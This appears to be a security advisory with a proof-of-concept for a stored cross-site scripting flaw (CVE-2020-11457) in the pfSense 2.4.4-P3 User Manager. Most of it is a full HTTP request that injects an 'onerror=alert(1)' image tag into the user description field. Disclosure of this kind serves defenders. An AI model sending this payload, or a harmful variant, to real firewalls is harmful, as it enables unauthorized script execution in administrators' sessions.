pfSense 2.4.4-P3 User Manager Persistent Cross-Site Scripting

2020.04.06
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting # Date: 2020-04-02 # Exploit Author: Matthew Aberegg # Vendor Homepage: https://www.pfsense.org # Version: PfSense 2.4.4-P3 # Tested on: FreeBSD 11.2-RELEASE-p10 # CVE : CVE-2020-11457 # Vulnerability Details # Description : A persistent cross-site scripting vulnerability exists within the 'User Manager' functionality of the pfSense administration panel. # Vulnerable Parameter : descr # POC # Exploit Details : The following request will create a user in the 'User Manager' functionality with an XSS payload as the Full Name. # This payload can be triggered by navigating to "https://TARGET/system_usermanager_addprivs.php?userid=0" where userid is # the id of the user containing the payload. POST /system_usermanager.php?act=new HTTP/1.1 Host: TARGET Connection: close Content-Length: 410 Cache-Control: max-age=0 Origin: https://TARGET Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Sec-Fetch-Dest: document Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Referer: https://TARGET/system_usermanager.php?act=new Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=ebd302521a887cef99f517e3ac6bdd7d __csrf_magic=sid%3A3689bbf23a3350994d7543c082fc36d16397208d%2C1585881631&usernamefld=TEST&passwordfld1=password&passwordfld2=password&descr=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&expires=&webguicss=pfSense.css&webguifixedmenu=&webguihostnamemenu=&dashboardcolumns=2&name=&caref=5e643dcfd524e&keylen=2048&lifetime=3650&authorizedkeys=&ipsecpsk=&act=&userid=&privid=&certid=&utype=user&oldusername=&save=Save


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